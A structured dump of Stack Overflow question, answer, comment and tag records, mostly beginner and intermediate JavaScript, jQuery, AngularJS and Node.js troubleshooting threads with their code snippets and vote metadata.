has answer: http://stackoverflow.com/a/25559785
answer count: 2
favorite count: 0
upvote count: 5
has body: I'm fixing up a template we're using on one of our sites which has the following code This snippet works. I've tried concatenating the static scripts like this However, now I'm getting an error Uncaught ReferenceError: GA_googleAddSlot is not defined I'm no noob when it comes to JavaScript stuff, but I can't imagine why combining the 3 inline scripts into a single tag would make any difference here. Any ideas?
possible better answer: http://stackoverflow.com/a/25559785
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25559956
has title: How to combine inline JavaScripts into one?
downvote count: 0
has comment: http://stackoverflow.com/comment/39913914

http://stackoverflow.com/q/25579057
has comment: http://stackoverflow.com/comment/39950976
has comment: http://stackoverflow.com/comment/39950824
type: Question
has comment: http://stackoverflow.com/comment/39950666
has comment: http://stackoverflow.com/comment/39950765
upvote count: 0
has comment: http://stackoverflow.com/comment/39950645
score: -2
answer count: 1
has comment: http://stackoverflow.com/comment/39950858
tagged with: javascript
has title: One Page Website - links to different sections using 'fake' pages
tagged with: jquery
has comment: http://stackoverflow.com/comment/39950813
has comment: http://stackoverflow.com/comment/39950791
has comment: http://stackoverflow.com/comment/39950738
has answer: http://stackoverflow.com/a/25579166
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39950802
favorite count: 0
downvote count: 2
has comment: http://stackoverflow.com/comment/39950744
has comment: http://stackoverflow.com/comment/39950632
has body: For a school assignment I have to design a website. I wish to create a one page website, however, we are required to link to different pages, i.e. we need a contact.html and we need to link to it. Not sure if its relevant but I would also like the page to smooth scroll to navigation to the required section To get around this I thought I could change the location of the link when clicked to instead be an anchor on the page - but I got stuck. Below is the code I have so far come up with. Below is the navigation section of the website's html: Menu Chef Location Contact Javascript with jQuery: $(function() { $("nav").delegate("a", "click", function() { var target = $(this).attr("href"); target = target.substr(0, myString.length-5); //console.log(target); alert(target); if (target.length) { $('html,body').animate({ scrollTop: target.offset().top }, 1000); return false; } }); }); On the actual pages, i.e. contact.html, I intend to just redirect to the main page with the relevant anchor JSFiddle
tagged with: anchor
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25579166
has comment: http://stackoverflow.com/comment/39950654
has comment: http://stackoverflow.com/comment/39950809

http://stackoverflow.com/comment/40175772
score: 1
has text: Good to know but it doesn't solve the problem for page loading.
comment on: http://stackoverflow.com/a/25702803
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25699977
has comment: http://stackoverflow.com/comment/40226711
score: 1
upvote count: 3
downvote count: 2
has comment: http://stackoverflow.com/comment/40170660
tagged with: google-chrome
type: Question
tagged with: javascript
tagged with: mozilla
has title: Disable the close button for window.open inChrome/Mozilla
answer count: 1
favorite count: 0
tagged with: window.open
has comment: http://stackoverflow.com/comment/40184300
has comment: http://stackoverflow.com/comment/40170708
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40170659
has answer: http://stackoverflow.com/a/25700089
has body: window.open("my html page link", "_blank", "toolbar=no, scrollbars=no, resizable=no, ,titlebar=no,top=500, left=500, width=400, height=400"); Need to disable the red color cross button and maximize button. Not working in Mozilla/Chrome Tried with "yes|no|1|0" for all the optional parameters, none of the parameters working.

http://stackoverflow.com/q/25565174
accepted answer: http://stackoverflow.com/a/25567872
tagged with: underscore.js
has comment: http://stackoverflow.com/comment/39928023
type: Question
has answer: http://stackoverflow.com/a/25567872
has title: Multiple Q.all inside function?
has body: I want to send a list of new books to a user. So far the below code works fine. The problem is that I don't want to send a book multiple times, so I want to filter them. Current code works fine: function checkActiveBooks(books) { var queue = _(books).map(function(book) { var deferred = Q.defer(); // Get all alerts on given keywords request('http://localhost:5000/books?l=0&amp;q=' + book.name, function(error, response, body) { if (error) { deferred.reject(error); } var books = JSON.parse(body); if (!_.isEmpty(books)) { // Loop through users of current book. var userBooks = _(book.users).map(function(user) { // Save object for this user with name and deals. return { user: user, book: book.name, books: books } }); if (_.isEmpty(userBooks)) { deferred.resolve(null); } else { deferred.resolve(userBooks); } } else { deferred.resolve(null); } }); return deferred.promise; }); return Q.all(queue); } But now I want to filter already sent books: function checkActiveBooks(books) { var queue = _(books).map(function(book) { var deferred = Q.defer(); // Get all alerts on given keywords request('http://localhost:5000/books?l=0&amp;q=' + book.name, function(error, response, body) { if (error) { deferred.reject(error); } var books = JSON.parse(body); if (!_.isEmpty(books)) { // Loop through users of current book. var userBooks = _(book.users).map(function(user) { var defer = Q.defer(); var userBook = user.userBook.dataValues; // Check per given UserBook which books are already sent to the user by mail checkSentBooks(userBook).then(function(sentBooks) { // Filter books which are already sent. var leftBooks = _.reject(books, function(obj) { return sentBooks.indexOf(obj.id) &gt; -1; }); // Save object for this user with name and deals. var result = { user: user, book: book.name, books: leftBooks } return deferred.resolve(result); }); return Q.all(userBooks); } else { deferred.resolve(null); } }); return deferred.promise; }); return Q.all(queue); } But above code doesn't work. It doesn't…
tagged with: javascript
tagged with: http://stackoverflow.com/tag/q
has comment: http://stackoverflow.com/comment/39928113
score: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/25565372
has answer: http://stackoverflow.com/a/25565372
tagged with: promise
has comment: http://stackoverflow.com/comment/39928058
has comment: http://stackoverflow.com/comment/39928502
type: AnsweredQuestion

http://stackoverflow.com/comment/40031220
comment on: http://stackoverflow.com/q/25623306
has text: @BennoZeeman I was wondering, if the script which edits the pre tags, loads first.. There should be a way to prevent the scripts from loading.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40153019
score: 0
comment on: http://stackoverflow.com/q/25690394
has text: I forgot to mention, currently the colors coming back is just a simple black.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40003492
has text: How does your example code show the problem? I see no underscore.
comment on: http://stackoverflow.com/q/25608099
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/comment/40131948
type: Comment
has text: I'm using Visual Studio 2013, in which you can edit while debugging, but that wasn't working. When I stopped and restarted debugging, the attribute worked as expected. Ah well. :)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25668391

http://stackoverflow.com/comment/40167346
comment on: http://stackoverflow.com/a/25694707
type: AnswerComment
type: Comment
score: 0
has text: thanks this is perfect, but what should i check in the service to determine witch row that should be returned? I need to implement some state, or id check right ?

http://stackoverflow.com/comment/39922159
type: AnswerComment
type: Comment
has text: but this won't change the value of the position attribute of the object!
comment on: http://stackoverflow.com/a/25564216
score: 0

http://stackoverflow.com/q/25567303
tagged with: unit-testing
has comment: http://stackoverflow.com/comment/39927850
has answer: http://stackoverflow.com/a/25567453
type: AnsweredQuestion
type: Question
has title: Testing javascript code inside a function using mocha
has comment: http://stackoverflow.com/comment/39927846
tagged with: javascript
tagged with: mocha.js
accepted answer: http://stackoverflow.com/a/25567453
tagged with: tdd
score: 0
answer count: 1
has body: Supposing I have the following function inside an external javascript file sampleFunction.js: function mathOperation(a,b){ var sum = a + b; var diff = a - b; var product = a * b; } And I would want to perform unit tests on this function using mochaJS from another separate file, say test.js. In that file I want to test the mentioned function for different inputs, and test the results. For example, I want to check whether the sum is 30 and the difference is 10 if I pass (20,10) to the function. So in my test file, the code would be like this:- var expect = chai.expect; describe('Testing the function mathOperation()',function(){ //test cases for checking sum, difference and product in mathOperation() ... ... }); How do I go about writing the test cases to check the values of the sum, difference etc? The reason why I ask the question is to know how can we test much bigger functions written in javascript which do not return anything, and to know whether we can test and compare the values of the various variables inside the function.

http://stackoverflow.com/a/25632088
has comment: http://stackoverflow.com/comment/40075246
upvote count: 2
type: Answer
accepted answer of: http://stackoverflow.com/q/25631921
score: 2
has body: What about using the $.ajax instead of load ? $.ajax({ type : 'POST', url : 'controller.url', data : testObject , dataType : 'json' }).done(function(data){ $('#testDiv').html(data); });
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25631921

http://stackoverflow.com/comment/40006526
comment on: http://stackoverflow.com/a/25609810
type: AnswerComment
score: 0
type: Comment
has text: I am facing the problem in IE and chrome.

http://stackoverflow.com/comment/40071953
type: QuestionComment
has text: If the code below does not work, I will need to see an example of your HTML (or the rest of the related code)
type: Comment
comment on: http://stackoverflow.com/q/25642004
score: 0

http://stackoverflow.com/comment/39921335
score: 0
type: Comment
type: QuestionComment
has text: wrong tagging, this ain't java, it's javascript
comment on: http://stackoverflow.com/q/25563747

http://stackoverflow.com/a/25576093
has body: I've had some issues when defining a class attribute on an element in addition to using bind-attr. Give this a shot? &lt;div id="main-container" {{bind-attr class=":container :bgNotFaded faded:bgFaded"}}&gt;
type: Answer
answers question: http://stackoverflow.com/q/25558557
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39945253
accepted answer of: http://stackoverflow.com/q/25558557

http://stackoverflow.com/q/25710980
type: UnansweredQuestion
has body: I am trying to build a simple Node.js app which will parse data passed to it as POST requests from my AngularJS app. Below is the code used in my AngularJS app and my Node.js app. Problem I am facing is that I've searched the web trying to find how to parse (data and header) information passed in POST requests but failed to find any example, so any help with an example of parsing (data and header) passed in POST requests will help me a lot. Thanks. Note: I am using express 4.1.2, body-parser 1.8.0. Node app: var express = require('express'); var http = require('http'); var bodyParser = require('body-parser'); var app = express(); app.set('port', process.env.PORT || 3000); app.use(bodyParser.json()); app.post('/', function (req, res) { console.log(req.body); res.send(200); }); http.createServer(app).listen(app.get('port'), function(){ console.log('Server listening on port ' + app.get('port')); }); POST request code var deferred = $q.defer(); var dataObj = {}; dataObj.name = 'Chan'; dataObj.email_address = 'email@domain.com'; var myToken = '1234567890'; $http({ method:'POST', url: '/', data: dataObj, headers: { 'Token' : myToken } }).success(function(data,status,headers,config){ deferred.resolve(data); }).error(function(data,status,headers,config){ deferred.reject(status); }); return deferred.promise;
tagged with: node.js
has title: Parsing POST data with body-parser in Node.js app
type: Question
has answer: http://stackoverflow.com/a/25711452
tagged with: javascript
score: 0
answer count: 1
tagged with: parsing

http://stackoverflow.com/a/25564263
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25563034
answers question: http://stackoverflow.com/q/25563034
has body: For those who might be interested in the solution (works for toggling one line): JS code &lt;script&gt; function data(toggle) { var ret = [ { y: '2006', a: 100, b: 90 }, { y: '2007', a: 75, b: 65 }, { y: '2008', a: 50, b: 40 }, { y: '2009', a: 75, b: 65 }, { y: '2010', a: 50, b: 40 }, { y: '2011', a: 75, b: 65 }, { y: '2012', a: 100, b: 90 } ]; if(toggle == 1) { for(var i = 0; i &lt; ret.length; i++) delete ret[i].b; } return ret; }; var morris = Morris.Line({ element: 'line-example', data: data(), xkey: 'y', ykeys: ['a', 'b'], labels: ['Series A', 'Series B'] }); jQuery(function($) { $('#activate').on('change', function() { var isChecked = $(this).is(':checked'); if(isChecked) { morris.setData(data(0)); } else { morris.setData(data(1)); } }); }); &lt;/script&gt; Working Fiddle: http://jsfiddle.net/4ztbu8oo/

http://stackoverflow.com/q/25550880
tagged with: angularjs
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25551258
type: Question
tagged with: javascript
tagged with: dom
has title: Angularjs isReady event needed
has body: Does anyone know of an "all is done" event in angularjs? I have tried using $viewContentLoaded event but it fires before the ng-repeats finish. The angular.element(document).ready not even firing, and when i use Directives it's even worse. just need a bit dom manipulation.. Help!! 10x
score: 0
answer count: 1

http://stackoverflow.com/comment/39923305
has text: Instance of parent to set prototype part of child and child not re using parent constructor? Would it not be better to refer to an article that shows how to use prototype?
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25563528
type: AnswerComment

performance
tags question: http://stackoverflow.com/q/25640630
tags question: http://stackoverflow.com/q/25711539
tags question: http://stackoverflow.com/q/25645208
tags question: http://stackoverflow.com/q/25581394
tags question: http://stackoverflow.com/q/25635112
tags question: http://stackoverflow.com/q/25615518
tags question: http://stackoverflow.com/q/25682702
tags question: http://stackoverflow.com/q/25557042
tags question: http://stackoverflow.com/q/25581838
tags question: http://stackoverflow.com/q/25641486
tags question: http://stackoverflow.com/q/25686062
tags question: http://stackoverflow.com/q/25686117
tags question: http://stackoverflow.com/q/25631332
tags question: http://stackoverflow.com/q/25582277
tags question: http://stackoverflow.com/q/25641714
tags question: http://stackoverflow.com/q/25626127
tags question: http://stackoverflow.com/q/25679632
tag name: performance
tags question: http://stackoverflow.com/q/25670850
tags question: http://stackoverflow.com/q/25664525
type: Tag
tags question: http://stackoverflow.com/q/25665744
tags question: http://stackoverflow.com/q/25694029

http://stackoverflow.com/q/25669091
tagged with: datatables
answer count: 1
tagged with: jquery
tagged with: ajax
has body: http://www.datatables.net/ jQuery datatables is a plugin to add filters, pagination, and a search input. I've been using them alongside my Laravel application to put the data into and it's been working fine. I have now added a dropdown filter separate from the datatables and I have added some jQuery code that looks like this: $('.dropdownselect').change(function() { $('.table').find('tr').remove(); $.post('/schedules', { value: $(this).val() }, function(result) { $.each(result, function(k, v) { $('.table-body').append('&lt;tr&gt;&lt;td&gt;' + v.name + '&lt;/td&gt;&lt;/tr&gt;'); }); }); }); It simply removes the values on change and appends the new values returned by the schedules route into the table. In reality there are 4 more &lt;td&gt; in there but for simplification purposes I've only included one. When using the code above it does not maintain the functionality of the datatables plugin. Why is this? Is there a way around it? Or a better way to do this?
tagged with: php
has title: Appending data to jQuery data-tables via AJAX is not using data-tables pagination and functionality
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25669354
score: 0
accepted answer: http://stackoverflow.com/a/25669354
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40114329

http://stackoverflow.com/q/25561087
has comment: http://stackoverflow.com/comment/39916565
has title: What happens with previous HTML page after users navigate away from it in JavaScript?
linked to: http://stackoverflow.com/q/17043674
upvote count: 1
downvote count: 1
tagged with: navigation
type: Question
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/39916530
answer count: 1
has body: Assumes I have two HTML pages, let call them page1.html and page2.html. And then users navigate from page1.html to page2.html by made a call to assign or replace method of location object. I have some questions as below: Q1: What happens with the DOM tree of the page1.html, will it be unloaded and reloads latter when we navigate back to it from the page2.html? Can I reference DOM tree of the page1.html from page2.html? Q2: If I’m maintaining a socket connection in a socket object in the page1.html, can I pass that socket object to page2.html? Can I listen for events of that socket object in page2.html? Q3: Can I have a common object of both page1.html and page2.html. And I can do something like maintaining a timer to do common task for both page1.html and page2.html in that object? This object is like singleton object in other OOP language.
has comment: http://stackoverflow.com/comment/39916600
favorite count: 0
has answer: http://stackoverflow.com/a/25561251
type: UnansweredQuestion

http://stackoverflow.com/q/25620048
score: 1
has comment: http://stackoverflow.com/comment/40026720
upvote count: 1
has answer: http://stackoverflow.com/a/25621254
type: Question
has comment: http://stackoverflow.com/comment/40026656
tagged with: google-maps
has comment: http://stackoverflow.com/comment/40027005
accepted answer: http://stackoverflow.com/a/25621254
tagged with: javascript
has body: In my application I have a Google map and the related Streetview in two different divs. Streetview values of POV are stored inside the database, as a packed string, for example: 34.094522, -118.31127700000002,-141,0,1 The first two numbers are the lat and lang values, then I have heading, pitch and zoom. Once the page is loaded, I set the POV inside the panorama in this way: var pov = &lt;field with saved values&gt;.value.split(","); PANORAMA.setPov({ heading: (pov[2] ? pov[2].toInt() : 0), pitch: (pov[3] ? pov[3].toInt() : 0), zoom: (pov[4] ? pov[4].toInt() : 1) }); This used to work fine until ~15 days ago, then I started to have the following error in Firebug: After (several) tries, I tracked down the issue to the heading value: it works only if it's between -10 and 10 + (360 * &lt; number of full rotations >), so -10/10, 350/370 and so on. Looking at the docs, it should accept any values starting from 0; moreover, when I rotate the POV I update my location field getting the heading, pitch and zoom values: var heading = PANORAMA.getPov().heading.toInt(); var pitch = PANORAMA.getPov().pitch.toInt(); var zoom = PANORAMA.getPov().zoom.toInt(); While executing the above code, I can see that the heading can get any value, indicating the number of degrees from the true north (as I expected to be). Any ideas why I'm getting this error and why it only accepts values between -10 and 10?
has comment: http://stackoverflow.com/comment/40040553
answer count: 1
downvote count: 0
tagged with: google-street-view
favorite count: 0
type: AnsweredQuestion
has title: Setting streetview POV heading throws an error

http://stackoverflow.com/a/25585749
has comment: http://stackoverflow.com/comment/39962676
has comment: http://stackoverflow.com/comment/39963211
downvote count: 0
answers question: http://stackoverflow.com/q/25585666
type: Answer
has body: If you can host that JS locally, there's a variable on line 9 (DEFAULT_EVENTS_HEIGHT) set to '415px'. Change that to what ever you need it to be (apparently 920px). However, the name of that variable suggests that the height may be modifiable elsewhere. If there's documentation, look through that before hosting the JS locally. Edit: due to the OP's comment below regarding the inability to host the JS locally, consider using some jQuery to override the value set by the external JS. $(document).ready(function() { $("iframe").css("height", "920px"); } Here's a jsFiddle for you.
score: 1
upvote count: 1

http://stackoverflow.com/comment/40189775
comment on: http://stackoverflow.com/q/25700471
score: 0
type: Comment
type: QuestionComment
has text: You can certainly add the elevation profiles for the lines when clicked. There are lots of lines, so you will need to generate the elevation plot "on demand" (when the line is clicked). You can add a click listener to the data layer, get the path coordinates and send them to the elevation service.

http://stackoverflow.com/a/25639648
downvote count: 0
answers question: http://stackoverflow.com/q/25638991
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25638991
has body: Try this: Use , DEMO HTML: Popular Recent Comments Sample Title for a Post Some Content Will obviously come here Some Content Will obviously come here
type: AcceptedAnswer

http://stackoverflow.com/a/25572950
has body: Couldn't you just check if the server serves you the .js file by doing something like this? function loaded(){ //this will only execute if the server is up }
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40112522
answers question: http://stackoverflow.com/q/25571455

http://stackoverflow.com/q/25645546
tagged with: javascript
favorite count: 0
tagged with: ajax
has title: is it possible to add these up as a grand total using this code?
has body: Is it possible to calculate a grand total with this code. I want compcase and caselight to give a grand total after the buttons are pressed. Any help would be appreciated as I can't work out a possible way of calculating it all. index.php function casePrice(str) { if (str=="") { document.getElementById("txtHint").innerHTML=""; return; } if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.getElementById("txtHint").innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","caseprice.php?q="+str,true); xmlhttp.send(); } function caselightPrice(str) { if (str=="") { document.getElementById("txtHint").innerHTML=""; return; } if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.getElementById("txtHint").innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","caselightprice.php?q="+str,true); xmlhttp.send(); } NZXT Phantom Enthusiast USB3.0 Full Tower Case - White Corsair Obsidian 750D Large Tower Case Black Cooler Master CM Storm Trooper Black Full Tower Gaming Case Red Green Show price here caseprice.php <?php $q = intval($_GET['q']); $con = mysqli_connect('localhost','root','','test'); if (!$con) { die('Could not connect: ' . mysqli_error($con)); } mysqli_select_db($con,"compcase"); $sql="SELECT * FROM compcase WHERE id = '".$q."'"; $result = mysqli_query($con,$sql); while($row = mysqli_fetch_array($result)) { echo " "; echo " " . $row['case_price'] . " "; echo " "; } echo " "; mysqli_close($con); ?>
has answer: http://stackoverflow.com/a/25645743
type: UnansweredQuestion
score: -3
downvote count: 3
tagged with: php
tagged with: mysql
type: Question
upvote count: 0
answer count: 1

http://stackoverflow.com/q/25617744
type: UnansweredQuestion
tagged with: elasticsearch
downvote count: 0
score: 1
linked to: http://stackoverflow.com/q/25301581
has answer: http://stackoverflow.com/a/25617937
type: Question
has title: Passing data between controllers of different modules
tagged with: javascript
has body: We are creating a Telecom App dashboard. We are trying to fetch the logs using Logstash and Elastic search, and displaying it on UI using ng-Table directive of Angularjs . We are able to obtain logs but the issue is to send the response between two controllers of different module. Here is the code, For retrieving logs from elastic search: // We define an EsConnector module that depends on the elasticsearch module. var EsConnector = angular.module('EsConnector', ['elasticsearch']); // Create the es service from the esFactory EsConnector.service('es', function (esFactory) { return esFactory({ host: 'localhost:9200' }); }); // We define an Angular controller that returns the server health // Inputs: $scope and the 'es' service EsConnector.controller('ServerHealthController', function($scope, es) { es.cluster.health(function (err, resp) { if (err) { $scope.data = err.message; } else { $scope.data = resp; } }); }); // We define an Angular controller that returns query results, // Inputs: $scope and the 'es' service EsConnector.controller('QueryController', function($scope, es) { // search for documents es.search({ index: 'logstash-2014.08.29', size: 500, body: { "query": { "match": { "CallId":-1 } }, } }).then(function (response) { $scope.hits = response.hits.hits; }); }); We need to pass the data ie hits obtained from QueryController(of EsConnector module) to MainController( of app module) Here is the app module:- var app = angular.module('SnapshotApp',['ngTable']); app.controller('MainController', function($scope, ngTableParams){ $scope.query = {} $scope.queryBy = '$' var data = ; \\ we want to populate 'data' with 'hits' of QueryController $scope.tableParams = new ngTableParams({ page: 1, // show first page count: 10 // count per page }, { total: data.length, // length of data getData: function($defer, params) { $defer.resolve(data.slice((params.page() - 1) * params.count(), params.page() * params.count())); } }); }); Another approach could be to merge both modules. T…
has answer: http://stackoverflow.com/a/25617890
answer count: 2
upvote count: 1
favorite count: 0
tagged with: angularjs

http://stackoverflow.com/comment/40178737
type: Comment
has text: @tomysshadow: Wouldn't catch *\*badword\**. Which is a pretty important one to find, considering the stars are a commonly used method of emphasis.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25703561

http://stackoverflow.com/comment/40189583
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25709259
has text: Hi @fish_ball, thanks for your answer. Could you please share not just one line `wp_enqueue_script( 'twentyfourteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20140319', true );` but the whole code?
type: AnswerComment

http://stackoverflow.com/comment/39919568
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25561251
type: Comment
has text: Thank you! I'm developing an application for Samsung Gear device and I want to keep the socket connection between mobile device and the Gear device somewhere so that I can know whenever there is a new message from mobile device. (You can think about mobile device is server side and Gear device is client side in client-server architecture). I also think may be the one-page application is suitable for my application. Can you please give me tutorials about that topic? Thank you so much!

http://stackoverflow.com/comment/40043858
comment on: http://stackoverflow.com/q/25629828
type: Comment
type: QuestionComment
score: 0
has text: @sohag513 I rolled back your edit, as Kyle Needham's edit included the code, **which is required when using JSFiddle links**, as it very clearly says when editing the question.

http://stackoverflow.com/q/25559145
tagged with: coffeescript
has answer: http://stackoverflow.com/a/25559736
tagged with: function
tagged with: javascript
has comment: http://stackoverflow.com/comment/39913721
has comment: http://stackoverflow.com/comment/39913546
has body: How do I trigger a function at the end of another function in coffeescript? If I have these functions in coffeescript: textAnim = true buttonAnim = false textAnim = ( // do stuff textAnim = false buttonAnim = true ) textAnim.on 'end', -&gt; buttonAnim = true buttonAnim = ( // do stuff ) textAnim works fine. How do I trigger buttonAnim? Thanks for any ideas! EDIT textAnim = ( // do stuff buttonAnim() ) buttonAnim = ( // do stuff )
has title: Find end of coffeescript function
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25559736
type: Question
has comment: http://stackoverflow.com/comment/39913443
answer count: 1
score: 0

http://stackoverflow.com/a/54245367
has body: This will recreate the exact elements in the same location (including any nested elements), their connections will be recreated, and they will be draggable. Overview: you need serialise the elements and connections, save it somewhere (your choice), then deserialise it when loading back in. Create a couple of buttons, call them btnSave and btnLoad, and add the code below. Note, below I am referring to an instance of jsPlumb (e.g. jp = jsPlumb) Save code: $('#btnSave').on('click', function() { data = []; // Loop through elements (b is block) var b = [] $("#DropArea .dragItem").each(function (idx, elem) { var $elem = $(elem); b.push({ id: $elem.attr('id'), x: parseInt($elem.css("left"), 10), y: parseInt($elem.css("top"), 10), h: $elem.html() }); }); data.push({blk : b}); // Loop through connections var c = []; $.each(jp.getConnections(), function (idx, connection) { c.push({ i: connection.id, s: connection.sourceId, t: connection.targetId }); }); data.push({con : c}); data = JSON.stringify(data); // Lastly, save the data somewhere (e.g. MySQL, etc.) }); Load code: $('#btnLoad').on('click', function() { // First, retrieve the data from storage (e.g. MySQL, etc.) data = JSON.parse(data); var blk = data[0].blk; var con = data[1].con; for( var i = 0; i &lt; blk.length; i++ ) { addWidget(blk[i]['id'],blk[i]['x'],blk[i]['y'], blk[i]['h']); } for( var i = 0; i &lt; con.length; i++ ) { var connection = jp.connect({ source: con[i]['s'], target: con[i]['t'] }); // Allows user to click to remove connection connection.bind("click", function(conn) { jp.deleteConnection(conn); }); } // Make the loaded elements draggable again jp.draggable( $('.dragItem') ); }); I hope this helps you (probably not because this was 5 years ago!) Or anyone else who happens to stumble on this thread.
answers question: http://stackoverflow.com/q/25709829
score: 0
has comment: http://stackoverflow.com/comment/100371304
type: Answer

http://stackoverflow.com/q/25558651
answer count: 3
tagged with: function
tagged with: panel
favorite count: 0
accepted answer: http://stackoverflow.com/a/25558688
has title: Combining two identical javascripts into one
has comment: http://stackoverflow.com/comment/39911995
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25558684
has answer: http://stackoverflow.com/a/25558684
upvote count: 1
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25558688
has body: I've searched but frankly, do not know enough about JS to make sense of all of the other "combine these 2 functions" posts already out there. I am using a script to slide out a Contact Panel. I duplicated this script to then slide out the About Panel. I want to consolidate both into one script to tidy things up. Possible? Contact Panel: &lt;script type="text/javascript"&gt; function showContactPanel() { var elem = document.getElementById("contact-panel"); if (elem.classList) { elem.classList.toggle("show"); } else { var classes = elem.className; if (classes.indexOf("show") &gt;= 0) { elem.className = classes.replace("show", ""); } else { elem.className = classes + " show"; } console.log(elem.className); } } &lt;/script&gt; Duplicated for the About Panel: &lt;script type="text/javascript"&gt; function showAboutPanel() { var elem = document.getElementById("about-panel"); if (elem.classList) { elem.classList.toggle("show"); } else { var classes = elem.className; if (classes.indexOf("show") &gt;= 0) { elem.className = classes.replace("show", ""); } else { elem.className = classes + " show"; } console.log(elem.className); } } &lt;/script&gt;
tagged with: javascript
has answer: http://stackoverflow.com/a/25558702
score: 0

http://stackoverflow.com/comment/39960238
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25583155
has text: Nice link but it's not good practice to crate in instance of Parent to set prototype of Child. Parent can have instance specific members that should not be on Child.prototype or needs parameters passed (that are checked) that are not available when declaring the Child type. Better to use `Child.prototpe=Object.create(Parent.prototype)` and polyfil Object.create if needed for very old browsers.
score: 0

http://stackoverflow.com/comment/40079801
comment on: http://stackoverflow.com/q/25649684
has text: Are you sure the success function is actually running?
type: QuestionComment
type: Comment
score: 1

angularfire
tags question: http://stackoverflow.com/q/25614627
tags question: http://stackoverflow.com/q/25670961
tag name: angularfire
type: Tag
tags question: http://stackoverflow.com/q/25555001

http://stackoverflow.com/comment/41208816
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25620082
score: 0
has text: Have you taken a look at http://angular.github.io/protractor/#/timeouts and made sure that nothing on your page is polling using the `$timeout` service?

http://stackoverflow.com/q/25678573
upvote count: 1
tagged with: ruby-on-rails
type: AnsweredQuestion
has title: How do I dynamically update html in Rails and use helpers?
score: 1
has body: I would like to update the html of a div using jQuery in Rails. And I want to use helpers. For instance, let's say I am trying to put an image in the div. Here is what I am doing in js file: // Update the html content of #div // I am using a helper, img_tag $("#div").html("&lt;%= img_tag('some_image.png') %&gt;&lt;br&gt; + 'some message'" But the helper does not create img tag. Instead, it is displayed in the div as a string. i.e. // Content of the div as a result: &lt;%= img_tag('some_image.png') %&gt;&lt;br&gt; some message When I manually type the html tag, it works. i.e. $("#div").html("&lt;img src="assets/images/some_image.png" alt="img"&gt;&lt;br&gt; + 'some message'" But I want to know how I can use helpers in this case, because I am also trying to use other helpers such as link_to.
type: Question
has comment: http://stackoverflow.com/comment/40132942
has answer: http://stackoverflow.com/a/25683757
answer count: 2
has comment: http://stackoverflow.com/comment/40131605
has comment: http://stackoverflow.com/comment/40131431
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40131467
tagged with: jquery
has answer: http://stackoverflow.com/a/25679092
has comment: http://stackoverflow.com/comment/40131537
tagged with: ruby-on-rails-4
possible better answer: http://stackoverflow.com/a/25679092
has comment: http://stackoverflow.com/comment/40131755
accepted answer: http://stackoverflow.com/a/25683757
favorite count: 0
has comment: http://stackoverflow.com/comment/40133992

http://stackoverflow.com/q/25576925
favorite count: 0
tagged with: twitter-bootstrap
has title: Is there a way to use a Bootstrap popover inside a Bootstrap modal?
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/25577356
upvote count: 1
tagged with: nhibernate
type: Question
tagged with: asp.net-mvc
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25577356
answer count: 1
